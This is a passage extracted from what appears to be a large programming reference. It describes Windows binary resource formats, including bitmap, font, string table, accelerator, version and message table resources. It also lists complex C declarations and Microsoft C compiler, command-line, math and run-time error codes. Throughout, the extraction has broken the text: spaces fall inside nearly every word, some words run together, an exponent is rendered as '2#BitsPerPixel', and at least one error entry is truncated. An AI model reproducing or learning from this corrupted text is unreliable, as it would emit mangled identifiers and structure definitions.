DI B i s t hat used f or OS/ 2 ver si ons 1. 1 and 1. 2. The bi t map r esour ce
consi st s of a si ngl e devi ce- i ndependent bi t map and accor di ngl y, t hi s
DI B can be of ei t her f or mat . The t wo DI Bs ar e di st i ngui shed by t hei r
header st r uct ur es. They bot h have t he si ze of t hei r r espect i ve
st r uct ur es as t he f i r st DWORD i n t he header . Bot h t hese st r uct ur es
ar e document ed i n t he Wi ndows SDK Ref er ence Ver si on 3. 0 vol ume 2,
sect i on 7. The header st r uct ur e f or t he nor mal DI B i s
BI TMAPI NFOHEADER whi l e t he OS/ 2 DI B header i s cal l ed
BI TMAPCOREHEADER. The cor r ect si ze ( as a DWORD) must be i n t he f i r st
ent r y of t he st r uct ur e.

[ Nor mal r esour ce header ( t ype = 2) ]

[ BI TMAPI NFOHEADER or BI TMAPCOREHEADER]
[ Col or t abl e i f not 24 bi t s per pi xel ]
[ Packed- pi xel bi t map]

Not e t hat t he col or t abl e i s opt i onal . Al l but 24 bi t col or bi t maps
have a col or t abl e at t ached next . Thi s t abl e' s l engt h can be
comput ed by 2#Bi t sPer Pi xel * 3 byt es f or OS/ 2 bi t maps or
2#Bi t sPer Pi xel * 4 byt es f or Wi ndows bi t maps. The bi t map i mage dat a
i s pl aced i mmedi at el y f ol l owi ng t he col or t abl e.

Not e t hat t he bi t map f i l e has an unal i gned header st r uct ur e
( BI TMAPFI LEHEADER st r uct ur e) . Thi s header i s not , however , st or ed i n
t he r esour ce f i l e, as i t ser ves onl y t o i dent i f y t he t ype of f i l e
( DI B or DDB) .

4. 7 Font and Font Di r ect or y Resour ces

Font r esour ces ar e di f f er ent f r omt he ot her t ypes of r esour ces i n
Pagina 498 di 991
t hat t hey ar e not added t o t he r esour ces of a speci f i c appl i cat i on
pr ogr am. Font r esour ces ar e added t o . EXE f i l es t hat ar e r enamed t o
be . FON f i l es. These f i l es ar e l i br ar i es as opposed t o appl i cat i ons.

Font r esour ces use a r esour ce gr oup st r uct ur e. I ndi vi dual f ont s ar e
t he component s of a f ont gr oup. Each component i s def i ned by a FONT
st at ement i n t he . RC f i l e. The gr oup header f ol l ows al l component s
and cont ai ns al l i nf or mat i on necessar y t o access a speci f i c f ont .
The f or mat of a f ont component r esour ce i s as f ol l ows:

[ Nor mal r esour ce header ( t ype = 8) ]

[ Compl et e cont ent s of t he . FNT f i l e f ol l ow as t he r esour ce body -
- See t he Wi ndows SDK Ref er ence f or t he f or mat of t he . FNT f i l e]

The gr oup header f or t he f ont s i s nor mal l y l ast i n t he . RES f i l e.
Not e t hat unl i ke cur sor and i con gr oups, t he f ont gr oup need not be
cont i guous i n t he . RES f i l e. Font decl ar at i ons may be pl aced i n t he
. RC f i l e mi xed wi t h ot her r esour ce decl ar at i ons. The gr oup header i s
added aut omat i cal l y by RC at t he end of t he . RES f i l e. Pr ogr ams
gener at i ng . RES f i l es must add t he FONTDI R ent r y manual l y. The gr oup
header has t he f ol l owi ng st r uct ur e:

[ Nor mal r esour ce header ( t ype = 7) ]

WORD Number Of Font s; / / Tot al number i n . RES f i l e

The r emai ni ng dat a i s r epeat ed f or ever y f ont i n t he . RES f i l e.


WORD f ont Or di nal ;
st r uct Font Di r Ent r y {
WORD df Ver si on;
DWORD df Si ze;
char df Copyr i ght [ 60] ;
WORD df Type;
WORD df Poi nt s;
WORD df Ver t Res;
WORD df Hor i zRes;
WORD df Ascent ;
WORD df I nt er nal Leadi ng;
WORD df Ext er nal Leadi ng;
BYTE df I t al i c;
BYTE df Under l i ne;
BYTE df St r i keOut ;
WORD df Wei ght ;
BYTE df Char Set ;
WORD df Pi xWi dt h;
WORD df Pi xHei ght ;
BYTE df Pi t chAndFami l y;
WORD df AvgWi dt h;
WORD df MaxWi dt h;
BYTE df Fi r st Char ;
BYTE df Last Char ;
BYTE df Def aul t Char ;
BYTE df Br eakChar ;
WORD df Wi dt hByt es;
DWORD df Devi ce;
DWORD df Face;
DWORD df Reser ved;
char szDevi ceName[ ] ;
char szFaceName[ ] ;
};
Pagina 499 di 991

4. 8 St r i ng Tabl e Resour ces

These t abl es ar e const r uct ed i n bl ocks of 16 st r i ngs. The
or gani zat i on of t hese bl ocks of 16 i s det er mi ned by t he I Ds gi ven t o
t he var i ous st r i ngs. The l owest f our bi t s of t he I D det er mi ne a
st r i ng' s posi t i on i n t he bl ock. The upper t wel ve bi t s det er mi ne
whi ch bl ock t he st r i ng i s i n. Each bl ock of 16 st r i ngs i s st or ed as
one r esour ce ent r y. Each st r i ng or er r or t abl e r esour ce bl ock i s
st or ed as f ol l ows:

[ Nor mal r esour ce header ( t ype = 6 f or st r i ngs) ]

[ Bl ock of 16 st r i ngs. The st r i ngs ar e Pascal st yl e wi t h a WORD
l engt h pr ecedi ng t he st r i ng. 16 st r i ngs ar e al ways wr i t t en, even
i f not al l sl ot s ar e f ul l . Any sl ot s i n t he bl ock wi t h no st r i ng
have a zer o WORD f or t he l engt h. ]

I t i s i mpor t ant t o not e t hat t he var i ous bl ocks need not be wr i t t en
out i n numer i cal or der i n t he r esour ce f i l e. Each bl ock i s assi gned
an or di nal I D. Thi s I D i s t he hi gh 12 bi t s of t he st r i ng I Ds i n t he
bl ock pl us one ( or di nal I Ds can' t be zer o) . The bl ocks ar e wr i t t en
t o t he . RES f i l e i n t he or der t he bl ocks ar e encount er ed i n t he . RC
f i l e, whi l e t he CVTRES ut i l i t y wi l l cause t hemt o become or der ed i n
t he COFF obj ect , and hence t he i mage f i l e.

4. 9 Accel er at or Tabl e Resour ces

An accel er at or t abl e i s st or ed as a si ngl e r esour ce. Mul t i pl e
accel er at or t abl es ar e al so al l owed. The f or mat of an accel er at or
t abl e i s ver y si mpl e. No header f or t he t abl e i s used. Each ent r y
i n t he t abl e has a si ngl e f our wor d ent r y. The l ast ent r y i n t he
t abl e i s f l aged by t he hex val ue 0x0080 ( f Fl ags | = 0x0080) . Si nce
al l ent r i es ar e f i xed l engt h, r andomaccess can be done because t he
number of el ement s i n t he t abl e can be comput ed by di vi di ng t he
l engt h of t he r esour ce by ei ght . Her e i s t he st r uct ur e of t he t abl e
ent r i es:

[ Nor mal r esour ce header ( t ype = 9) ]

The f ol l owi ng st r uct ur e i s r epeat ed f or al l accel er at or t abl e
ent r i es.

st r uct Accel Tabl eEnt r y {
WORD f Fl ags;
WORD wAsci i ;
WORD wI d;
WORD paddi ng;
};

4. 10 User Def i ned Resour ces and RCDATA

RC al l ows t he pr ogr ammer t o i ncl ude r esour ces not def i ned i n Wi ndows.
The user may choose a name not def i ned as a st andar d t ype and use i t
t o i ncl ude dat a t hat i s t o be used as a r esour ce. Thi s dat a may be
t aken f r oman ext er nal f i l e or may be pl aced bet ween BEGI N and END
st at ement s. As an opt i on, t he pr ogr ammer can def i ne t he t ype as
RCDATA wi t h t he same r esul t s.

As mi ght be i magi ned, t he f or mat of t hi s r esour ce i s ver y si mpl e
because t he r esour ce compi l er knows not hi ng about t he l ogi cal
st r uct ur e of t he dat a. Her e i s t he or gani zat i on:

Pagina 500 di 991
[ Nor mal r esour ce header ( t ype = 10 f or RCDATA, named t ypes
r epr esent user - def i ned t ypes) ]

[ The dat a f r omt he BEGI N . . . END or f r omt he ext er nal f i l e i s
i ncl uded wi t hout t r ansl at i on i nt o t he . RES f i l e]

4. 11 Name Tabl e and Er r or Tabl e Resour ces

Name t abl es and er r or r esour ces ar e no l onger suppor t ed i n t he
Wi ndows bi nar y r esour ce f i l e f or mat .

4. 12 Ver si on Resour ces.

Ver si on r esour ces speci f y i nf or mat i on t hat can be used by set up
pr ogr ams t o di scover whi ch of sever al ver si ons of a pr ogr amor
dynami c l i nk l i br ar y t o i nst al l i nt o t he syst em. Ther e i s al so a set
of api ' s t o quer y t he ver si on r esour ces. Ther e ar e t hr ee maj or t ypes
of i nf or mat i on st or ed i n ver si on r esour ces: t he mai n i nf or mat i on i n
a VS_FI XEDFI LEI NFO st r uct ur e, Language i nf or mat i on dat a i n a var i abl e
f i l e i nf or mat i on st r uct ur e ( Var Fi l eI nf o) , and user def i ned st r i ng
i nf or mat i on i n St r i ngFi l eI nf o st r uct ur es. For Wi ndows 32, t he
st r i ngs wi t hi n t he ver si on i nf or mat i on r esour ce i s st or ed i n Uni code,
pr ovi di ng l ocal i zat i on of t he r esor uces. Each bl ock of i nf or mat i on
i s dwor d al i gned.

The st r uct ur e of a ver si on r esour ce i s depi ct ed by t he
VS_VERSI ON_I NFO st r uct ur e.

VS_VERSI ON_I NFO {
WORD wLengt h; / * Lengt h of t he ver si on r esour ce */
WORD wVal ueLengt h; / * Lengt h of t he val ue f i el d f or t hi s bl ock */
WORD wType; / * t ype of i nf or mat i on: 1==st r i ng, 0==bi nar y */
WCHAR szKey[ ] ; / * Uni code st r i ng KEY f i el d */
[ WORD Paddi ng1; ] / * possi bl e wor d of paddi ng */
VS_FI XEDFI LEI NFO Val ue; / * Fi xed Fi l e I nf o St r uct ur e */
BYTE Chi l dr en[ ] ; / * posi t i on of Var Fi l eI nf o or St r i ngFi l eI nf o dat a */
};

The Fi xed Fi l e I nf o st r uct ur e cont ai ns basi c i nf or mat i on about t he
ver si on, i ncl udi ng ver si on number s f or t he pr oduct and f i l e, and t ype
of t he f i l e.

t ypedef st r uct t agVS_FI XEDFI LEI NFO {
DWORD dwSi gnat ur e; / * si gnat ur e - al ways 0xf eef 04bd */
DWORD dwSt r ucVer si on; / * st r uct ur e ver si on - cur r ent l y 0 */
DWORD dwFi l eVer si onMS; / * Most Si gni f i cant f i l e ver si on dwor d */
DWORD dwFi l eVer si onLS; / * Least Si gni f i cant f i l e ver si on dwor d */
DWORD dwPr oduct Ver si onMS; / * Most Si gni f i cant pr oduct ver si on */
DWORD dwPr oduct Ver si onLS; / * Least Si gni f i cant pr oduct ver si on */
DWORD dwFi l eFl agMask; / * f i l e f l ag mask */
DWORD dwFi l eFl ags; / * debug/ r et ai l / pr er el ease/ . . . */
DWORD dwFi l eOS; / * OS t ype. Wi l l al ways be Wi ndows32 val ue */
DWORD dwFi l eType; / * Type of f i l e ( dl l / exe/ dr v/ . . . ) */
DWORD dwFi l eSubt ype; / * f i l e subt ype */
DWORD dwFi l eDat eMS; / * Most Si gni f i cant par t of dat e */
DWORD dwFi l eDat eLS; / * Least Si gni f i cant par t of dat e */
} VS_FI XEDFI LEI NFO;

The user def i ned st r i ng i nf or mat i on i s cont ai ned wi t hi n t he
St r i ngFi l eI nf o st r uct ur e, whi ch i s a set of t wo st r i ngs: t he key and
t he i nf or mat i on i t sel f .

St r i ngFi l eI nf o {
Pagina 501 di 991
WCHAR szKey[ ] ; / * Uni code " St r i ngFi l eI nf o" */
[ WORD paddi ng; ] / * possi bl e paddi ng */
St r i ngTabl e Chi l dr en[ ] ;
};

St r i ngTabl e {
WCHAR szKey[ ] ; / * Uni code st r i ng denot i ng t he l anguage - 8 byt es */
St r i ng Chi l dr en[ ] ; / * ar r ay of chi l dr en St r i ng st r uct ur es */
}

St r i ng {
WCHAR szKey[ ] ; / * ar bi t r ar y Uni code encoded KEY st r i ng */
/ * not e t hat t her e i s a l i st of pr e- def i ned keys */
[ WORD paddi ng; ] / * possi bl e paddi ng */
WCHAR Val ue[ ] ; / * Uni code- encoded val ue f or KEY */
} St r i ng;

The var i abl e f i l e i nf o ( Var Fi l eI nf o) bl ock cont ai ns a l i st of
l anguages suppor t ed by t hi s ver si on of t he appl i cat i on/ dl l .

Var Fi l eI nf o {
WCHAR szKey[ ] ; / * Uni code " Var Fi l eI nf o" */
[ WORD paddi ng; ] ; / * possi bl e paddi ng */
Var Chi l dr en[ ] ; / * chi l dr en ar r ay */
};

Var {
WCHAR szKey[ ] ; / * Uni code " Tr ansl at i on" ( or ot her user key) */
[ WORD paddi ng; ] / * possi bl e paddi ng */
WORD Val ue[ ] ; / * one or mor e val ues, nor mal l y l anguage i d' s */
};

4. 13 Messaget abl e Resour ces.

A message t abl e i s a r esour ce t hat cont ai ns f or mat t ed t ext t hat i s
used t o di spl ay an er r or message or messagebox. I t has t aken t he
pl ace of t he er r or t abl e r esour ce ( whi ch was never used) . The dat a
consi st s of a MESSAGE_RESOURCE_DATA st r uct ur e, whi ch cont ai ns one or
mor e MESSAGE_RESOURCE_BLOCKS, whi ch i n t ur n may consi st of one or
mor e MESSAGE_RESOURCE_ENTRY st r uct ur es. The st r uct ur e i s si mi l ar t o
t hat of t he STRI NGTABLE r esour ce.

t ypedef st r uct _MESSAGE_RESOURCE_DATA {
ULONG Number Of Bl ocks;
MESSAGE_RESOURCE_BLOCK Bl ocks[ ] ;
} MESSAGE_RESOURCE_DATA, *PMESSAGE_RESOURCE_DATA;

t ypedef st r uct _MESSAGE_RESOURCE_BLOCK {
ULONG LowI d;
ULONG Hi ghI d;
ULONG Of f set ToEnt r i es;
} MESSAGE_RESOURCE_BLOCK, *PMESSAGE_RESOURCE_BLOCK;

t ypedef st r uct _MESSAGE_RESOURCE_ENTRY {
USHORT Lengt h;
USHORT Fl ags;
UCHAR Text [ ] ;
} MESSAGE_RESOURCE_ENTRY, *PMESSAGE_RESOURCE_ENTRY;

I f t he Fl ags USHORT i s MESSAGE_RESOURCE_UNI CODE ( val ue 0x0001) , t he
st r i ng i s encoded i n UNI CODE r at her t han ASCI I i n t he cur r ent
codepage.

Pagina 502 di 991
@C Pr ogr ammi ng Topi cs
: C decl ar at i ons
^Compl ex C Decl ar at i ons


i nt i ; i as an i nt
i nt *i ; i as a poi nt er t o an i nt
i nt **i ; i i s a poi nt er t o a poi nt er t o an i nt
i nt *( *i ) ( ) ; i i s a poi nt er t o a f unct i on r et ur ni ng a
poi nt er t o i nt
i nt *( *i [ ] ) ( ) ; i i s an ar r ay of poi nt er s t o f unct i ons
r et ur ni ng poi nt er s t o an i nt
i nt *i [ 5] ; i i s an ar r ay of 5 poi nt er s t o i nt
i nt ( *i ) [ 5] ; i i s a poi nt er t o an ar r ay of 5 i nt s
i nt *i ( ) ; i i s a f unct i on r et ur ni ng a poi nt er t o an i nt
i nt ( *i ) ( ) ; i i s a poi nt er t o a f unct i on r et ur ni ng i nt
i nt *( *( *i ) ( ) ) [ 5] i i s a poi nt er t o a f unct i on r et ur ni ng a
poi nt er t o an ar r ay of 5 poi nt er s t o an i nt


: C er r or s ( MSC) : MSC er r or s
^Mi cr osof t C Compi l er Fat al Er r or s

C1000 unknown f at al er r or ; cont act Mi cr osof t
C1001 i nt er nal compi l er er r or ; cont act Mi cr osof t
C1002 compi l er out of heap space i n C2. EXE
C1003 er r or count exceeded; st oppi ng compi l at i on
C1004 unexpect ed end- of - f i l e f ound; di sk f ul l or unmat ched #i f
C1005 st r i ng t oo bi g f or buf f er
C1006 compi l er i nt er medi at e f i l e cr eat e/ wr i t e er r or
C1007 i nval i d opt i on on compi l er command l i ne
C1008 no sour ce f i l e speci f i ed
C1009 macr os nest ed t oo deepl y
C1010 macr o expansi on exceeded avai l abl e space
C1011 macr o def i ni t i on t oo l ar ge
C1012 unmat ched par ent hesi s i n pr epr ocessor di r ect i ve
C1014 nest i ng of #i ncl ude' s exceed 10- l evel nest i ng l i mi t
C1016 #i f def & #i f ndef di r ect i ves expect an i dent i f i er
C1018 unexpect ed #el i f ; #el i f wi t hout #i f di r ect i ve
C1019 unexpect ed #el se; #el se wi t hout #i f di r ect i ve
C1020 unexpect ed #endi f ; #endi f wi t hout #i f di r ect i ve
C1021 i nval i d pr epr ocessor command
C1022 expect ed #endi f ; #i f di r ect i ve not t er mi nat ed by #endi f
C1023 can' t open speci f i ed sour ce f i l e
C1024 can' t open speci f i ed i ncl ude f i l e
C1026 par ser st ack over f l ow; modul e t oo compl ex
C1027 DGROUP def aul t dat a al l ocat i on exceeds 64K
C1028 modul es f ar dat a segment al l ocat i on exceeds 64K ( QC)
C1031 f unct i on cal l s nest ed t oo deepl y
C1032 can' t open obj ect l i st i ng f i l e
C1033 can' t open assembl y l anguage out put f i l e
C1035 expr essi on t oo compl ex; must be si mpl i f i ed
C1036 can' t open sour ce l i st i ng f i l e
C1037 can' t open obj ect f i l e
C1039 unr ecover abl e heap over f l ow i n Pass 3 ( post - opt i mi zer )
C1040 unexpect ed EOF i n sour ce f i l e; f i l e di sappear ed
C1041 can' t open i nt er medi at e f i l e; no f r ee f i l e handl es
C1042 can' t open i nt er medi at e f i l e; i nval i d TMP envi r onment var
C1043 can' t open i nt er medi at e f i l e; unknown er r or
C1044 no di sk space avai l abl e f or i nt er medi at e f i l e
C1047 compi l er opt i on was speci f i ed t oo many t i mes
C1048 unknown opt i on speci f i ed
C1049 i nval i d numer i cal ar gument
Pagina 503 di 991
C1050 code segment t oo l ar ge; wi t hi n 36 byt es of 64K
C1052 #i f / #i f def nest ed t oo deepl y; max of 32 l evel s
C1053 st r uct / uni on nest ed t oo deepl y; max of 15
C1054 i ni t i al i zer s nest ed t oo deepl y; max f r om10 t o 15 l evel s
C1055 out of keys; f i l e has t oo many symbol s
C1056 out of macr o expansi on space; macr o t o l ar ge/ compl ex
C1057 unexpect ed EOF i n macr o expansi on or mi ssi ng ' ) '
C1059 compi l er has r un out of near heap space
C1060 compi l er has r un out of f ar heap space
C1062 er r or wr i t i ng pr epr ocessor out put f i l e f or / P opt i on
C1063 compi l er st ack over f l ow; modul e t oo compl ex
C1064 i dent i f i er t oo l ong causi ng t oken t o over f l ow i nt er nal buf f er
C1068 can' t open f i l e speci f i ed f i l e
C1069 f i l e wr i t e er r or on speci f i ed f i l e; di sk space l ow
C1070 mi smat ched #i f / #endi f pai r ; mi ssi ng #endi f
C1071 unexpect ed EOF f ound i n comment ; mi ssi ng end of comment
C1072 can' t r ead i ndi cat ed f i l e
C1090 dat a al l ocat i on exceeds 64K on _based al l ocat i on
C1015 can' t open i ncl ude f i l e ( check name, sear chpat h and FI LES=)
C1126 aut omat i c al l ocat i on ( l ocal var i abl e) exceeds si ze
C1127 segment r edef i ni t i on; over wr i t t en by speci f i ed segment

^Mi cr osof t C Compi l er Nonf at al Er r or s

C2015 t oo many char act er s i n const ant ; escape sequence t oo l ar ge
C2016 mi ssi ng cl osi ng si ngl e quot at i on mar k on code l i ne
C2017 i l l egal escape sequence; occur r ed out si de of st r i ng
C2018 unknown char act er f ound i n sour ce f i l e
C2019 expect ed pr epr ocessor di r ect i ve; # f ol l owed by non- di r ect i ve
C2021 expect ed exponent val ue but f ound non- numer i c char act er
C2022 oct al val ue f ol l owi ng ' \ ' i s t oo l ar ge f or a si ngl e char act er
C2025 gi ven i dent i f i er r edef i nes enum, st r uct or uni on t ag
C2026 gi ven i dent i f i er al r eady used as enumconst ant
C2027 gi ven i dent i f i er r ef er s t o undef i ned enum, st r uct or uni on
C2028 st r uct / uni on member needs t o be i nsi de a st r uct / uni on
C2030 i dent i f i er used mor e t han once i n st r uct or uni on t ag
C2031 f unct i on can' t be use as st r uct or uni on member
C2033 bi t f i el d can' t be decl ar ed as a poi nt er or use i ndi r ect i on
C2034 t ype of host bi t f i el d i s t oo smal l f or number of bi t s
C2035 gi ven st r uct ur e or uni on has undef i ned si ze
C2037 undef i ned st r uct or uni on i dent i f i er on l ef t of - > or .
C2038 i dent i f i er i s not a st r uct or uni on member
C2055 expect ed f or mal - par amet er l i st i nst ead of ar gument - t ype l i st
C2056 i l l egal expr essi on; possi bl y f r ompr evi ous unr epor t ed pr obl em
C2057 expect ed const ant expr essi on
C2058 expect ed i nt egr al const ant expr essi on
C2059 i nval i d t oken caused a synt ax er r or
C2060 synt ax er r or ; EOF f ound bef or e expect ed t oken
C2061 i dent i f i er caused synt ax er r or
C2062 unexpect ed t ype
C2063 i dent i f i er i s not a f unct i on but used as such
C2064 t er mdoes not eval uat e t o a f unct i on poi nt er
C2065 i dent i f i er not def i ned
C2066 i l l egal cast t o f unct i on t ype
C2067 i l l egal cast t o ar r ay t ype
C2068 i l l egal cast t ype used i n expr essi on
C2069 cast of voi d t er mt o non- voi d i s i nval i d
C2070 i l l egal si zeof oper and; must be expr essi on or t ype name
C2071 i l l egal st or age cl ass f or i dent i f i er
C2072 at t empt t o i ni t i al i ze a f unct i on i dent i f i er
C2092 ar r ays of f unct i ons i l l egal ; use ar r ay of pt r s t o f unct i on
C2093 can' t use addr ess of aut o var i abl e as st at i c i ni t i al i zer
C2094 l abel was undef i ned i n f unct i on
Pagina 504 di 991
C2095 voi d ar gument cannot be passed t o f unct i on; ( voi d *) may
C2096 st r uct & uni on compar i son i s i l l egal ; compar e member s
C2097 i l l egal i ni t i al i zat i on
C2098 expect ed addr ess as i ni t i al i zat i on expr essi on
C2099 non- const ant i ni t i al i zer
C2100 i l l egal i ndi r ect i on; * appl i ed t o a non- poi nt er val ue
C2101 addr ess of oper at or ' &' used on const ant ; r equi r es l val ue
C2102 addr ess of oper at or ' &' r equi r es l val ue
C2103 addr ess of oper at or ' &' can' t be used on a r egi st er var i abl e
C2104 addr ess of oper at or ' &' used on bi t f i el d not al l owed
C2105 oper at or needs l val ue
C2106 l ef t si de of an oper at i on must be l val ue
C2107 subscr i pt appl i ed t o expr essi on di dn' t eval uat e t o poi nt er
C2108 non- i nt egr al expr essi on used as ar r ay subscr i pt
C2109 subscr i pt used on non- ar r ay var i abl e
C2127 al l ocat i on f or f unct i on par amet er s exceeds 32K
C2128 ar r ay cr osses 2 segment s & el ement si ze not power of 2
C2129 st at i c f unct i on r ef er enced was never def i ned
C2130 #l i ne expect ed st r i ng cont ai ni ng f i l e name; f ound ot her
C2131 mor e t han one memor y at t r i but e appl i ed t o and i dent i f i er
C2132 synt ax er r or : unexpect ed i dent i f i er
C2133 at t empt t o decl ar e an unsi zed ar r ay as a l ocal var i abl e
C2134 st r uct or uni on t oo l ar ge; exceeded 64k
C2136 pr ot ot ype must have a val i d t ype f or each var i abl e
C2137 use of empt y char act er const ant ' ' i s i l l egal
C2139 mor e t han one t ype used i n a var i abl e decl ar at i on
C2140 ar gument can' t be a f unct i on
C2141 enumconst ant val ue out of i nt r ange
C2143 expect ed ' t oken1' bef or e ' t oken2' or mi ssi ng ' ) ' , ' }' or ' ; '
C2144 expect ed ' t oken' bef or e ' t ype' or mi ssi ng ' ) ' , ' }' or ' ; '
C2145 expect ed ' t oken' bef or e i dent i f i er or decl ar at i on mi ssi ng ' ; '
C2146 expect ed ' t oken' bef or e i dent i f i er
C2147 i ncr ement of i ndex or ar r ay poi nt er wi t h unknown base t ype
C2162 t oken f ol l owi ng st r i ngi zi ng oper at or # i sn' t f or mal par amet er
C2163 f unct i on i n pr agma not avai l abl e as i nt r i nsi c f unct i on
C2164 i nt r i nsi c f unct i on not decl ar ed bef or e use wi t / Oi opt i on
C2165 _pascal , _cdecl , _???? keywor ds can' t modi f y poi nt er s t o dat a
C2166 at t empt t o modi f y i t emdecl ar ed as const ; l val ue i s const ant
C2167 t oo many par amet er s i n cal l t o an i nt r i nsi c f unct i on
C2168 t oo f ew par amet er s i n cal l t o an i nt r i nsi c f unct i on
C2169 f unct i on def i ni t i on f or f unct i on al r eady decl ar ed i nt r i nsi c
C2170 i nt r i nsi c pr agma used f or f unct i on wi t hout i nt r i nsi c f or m
C2171 unar y oper at or used on i l l egal oper and t ype
C2172 non- poi nt er ar gument passed t o a f unct i on expect i ng poi nt er
C2173 non- poi nt er ar gument passed t o a f unct i on expect i ng poi nt er
C2174 cant pass par amet er wi t h voi d t ype t o f unct i on
C2176 st at i c huge dat a not suppor t ed by / qc; use hal l oc( )
C2177 const ant t oo l ar ge f or dat a t ype
C2178 st or age cl ass f or same_seg pr agma var i abl es must be ext er n
C2179 same_seg pr agma var i abl e cl ass has changed f r omext er n
C2207 mi ddl e member of st r uct / uni on has zer o- si zed ar r ay
C2208 enum, st r uct or uni on def i ned w/ o member s usi ng / Za opt i on
C2209 t ype cast used i n _based const r uct must be ( _segment )
C2210 base i n _based decl ar at or must be near / f ar dat a poi nt er
C2211 i t emcast i n _based decl ar at or can' t be a f unct i on
C2212 _based not avai l abl e f or f unct i ons or poi nt er s t o f unct i ons
C2213 symbol used as base must be t ype _segment , near f ar poi nt er
C2214 _based poi nt er based on voi d can' t be de- r ef er enced; use : >
C2215 : > oper at or onl y f or obj ect s based on voi d
C2216 gi ven f unct i on at t r i but es ar e i ncompat i bl e
C2217 f unct i on at t r i but e r equi r es anot her at t r i but es al so
C2218 t ype i n _based const r uct must be voi d
C2219 const / vol at i l e appear ed wher e t ype or qual i f i er not al l owed
Pagina 505 di 991
C2220 no obj ect f i l e gener at ed; war ni ng t r eat ed as er r or due t o / WX
C2221 l ef t oper and of ' . ' i s poi nt er t o st r uct / uni on, must use ' - >'
C2222 l ef t oper and of ' - >' i s st r uct or uni on, must use ' . '
C2223 l ef t oper and of ' - >' must be poi nt er st r uct or uni on
C2411 i dent i f i er i s not a member of t he speci f i ed st r uct or uni on
C2412 i dent i f i er r edef i ned wi t hi n cur r ent f unct i on
C2413 al i gnment si ze used wi t h ALI GN di r ect i ve mi ssi ng or i nval i d
C2414 i l l egal number of oper ands i n assembl y code; see / G1 & / G2
C2415 i mpr oper oper and t ype
C2416 i l l egal opcode f or pr ocessor i n assembl y code; see / G1 & / G2
C2417 di vi sor used wi t hi n t he gi ven cont ext i s zer o
C2418 i n- l i ne asmi dent i f i er r ef er enced as r egi st er and i sn' t
C2419 di vi sor ar gument t o mod i s zer o i n gi ven cont ext
C2420 gi ven i dent i f i er i s i l l egal i n t hi s cont ext
C2421 PTR must not be used wi t h r egi st er oper and i n t hi s cont ext
C2422 i l l egal segment over r i de used i n gi ven cont ext
C2424 gi ven t oken used t o f or mi mpr oper expr essi on i n t hi s cont ext
C2425 t oken used f t o f or mnon- const ant expr essi on i n t hi s cont ext
C2426 gi ven t oken i s i l l egal oper at or i n t hi s cont ext
C2427 j ump r ef er enci ng l abel i s out of r ange
C2429 FAR PTR can' t be use on j mp or cal l t o l abel

^Mi cr osof t C Command- Li ne Er r or s

D2000 unknown CL command l i ne er r or ; cont act Mi cr osof t
D2001 t oo many symbol s pr edef i ned wi t h / D; max i s 30
D2002 memor y- model speci f i cat i on conf l i ct ; onl y 1 al l owed
D2003 mi ssi ng sour ce f i l e name f or CL command
D2008 opt i on speci f i ed t oo many t i mes
D2011 mor e t han one / FP opt i on speci f i ed; onl y 1 al l owed
D2012 t oo many l i nker f l ags i n command; max of 128 f l ags/ f i l es
D2013 i ncompl et e model speci f i cat i on i n / A:
D2018 can' t open l i nker r esponse f i l e
D2019 can' t over wr i t e sour ce wi t h obj ect f i l e; out put = i nput
D2020 / Gc r equi r es ext ended keywor ds be enabl ed vi a / Ze
D2021 i nval i d numer i cal ar gument ; numer i c ar gs must be < 65534
D2022 can' t open hel p f i l e f or / HELP
D2027 CL coul d not execut e one of t he compi l er component s
D2028 t oo many open f i l es; can' t dup/ r edi r ect speci f i ed st r eam
D2030 i nt er nal compi l er component er r or ; cont act Mi cr osof t
D2031 t oo many f l ags/ f i l es i n command; max of 128 ar gument s t o CL

^Mi cr osof t C Command- Li ne War ni ng

D4000 unknown command l i ne war ni ng i n CL; cont act Mi cr osof t
D4001 l i st i ng over r i des assembl y out put ; / Fc and / Fa used t oget her
D4002 unknown f l ag i gnor ed by CL command
D4003 mul t i pl e pr ocessor s sel ect ed f or code gener at i on
D4005 CL coul d not l ocat e compi l er component
D4007 / C must be used i n conj unct i on wi t h / P or / E or / EP
D4009 t hr eshol d val i d f or f ar / huge dat a model s onl y; / Gt i gnor ed
D4011 pr epr ocessor l i st i ng speci f i ed; sour ce l i st i ng not gener at ed
D4012 f unct i on pr ot ot ypi ng speci f i ed; sour ce l i st i ng not gener at ed
D4013 combi ned l i st i ng / Fc over r i des obj ect l i st i ng / Fl
D4014 i nval i d val ue f or opt i on; def aul t val ue used
D4018 . DEF f i l es suppor t ed i n OS/ 2 onl y ( / Lr / Lc)
D4019 st r i ng t oo l ong f or / ND, / NT, / NM, / St , / Ss opt i on of CL

^Mi cr osof t Li nk Er r or s ( i ncompl et e l i st )

L2002 f i xup over f l ow ( pr obabl y i ncompat i bl e memor y model s . OBJ s)

^Mi cr osof t C Fl oat i ng- Poi nt Mat h Er r or s
Pagina 506 di 991

M6101 i nval i d oper at i on occur r ed; usual l y NAN or i nf i ni t y pr obl em
M6102 denor mal ; si gni f i cance l oss wi t h ver y smal l gener at ed number
M6103 at t empt t o di vi de by zer o i n f l oat i ng- poi nt oper at i on
M6104 over f l ow i n f l oat i ng- poi nt oper at i on
M6105 under f l ow occur r ed i n f l oat i ng- poi nt oper at i on
M6106 i nexact ; l oss of pr eci si on occur r ed i n FP oper at i on
M6107 unemul at ed/ unsuppor t ed 8087/ 287/ 387 i nst r uct i on execut ed
M6108 squar e r oot oper and somehow became negat i ve; C won' t al l ow
M6110 copr ocessor or emul at or st ack over f l ow
M6111 st ack under f l ow due t o unr et r i eved doubl e r et ur n val ues

^Mi cr osof t C Run- Ti me Er r or s

R6000 st ack over f l ow; st ack needs enl ar ged or pr obl empr ogr am
R6001 nul l poi nt er assi gnment , NULL segment modi f i ed
R6002 f l oat i ng- poi nt suppor t not l i nked i nt o execut abl e
R6005 not enough memor y t o l oad chi l d pr ocess ( EXEC)
R6006 t ar get execut abl e i s not a val i d execut abl e ( EXEC)
R6007 i nval i d envi r onment on exec of chi l d pr ocess ( EXEC)
R6008 not enough space f or ar gument vect or af t er pr ogr aml oads
R6009 not enough space f or envi r onment af t er pr ogr aml oads
R6010 abnor mal pr ogr amt er mi nat i on
R6012 i l l egal nul l near - poi nt er use
R6013 i l l egal out of r ange f ar - poi nt er use
R6016 not enough space f or t hr ead dat a
R6017 unexpect ed mul t i t hr ead l ock er r or

: cl : MSC opt i ons
^Mi cr osof t C Opt i ons ( v6. 0)

% CL [ opt i ons] [ f i l enames] [ l i br ar i es l i nk- opt i ons]

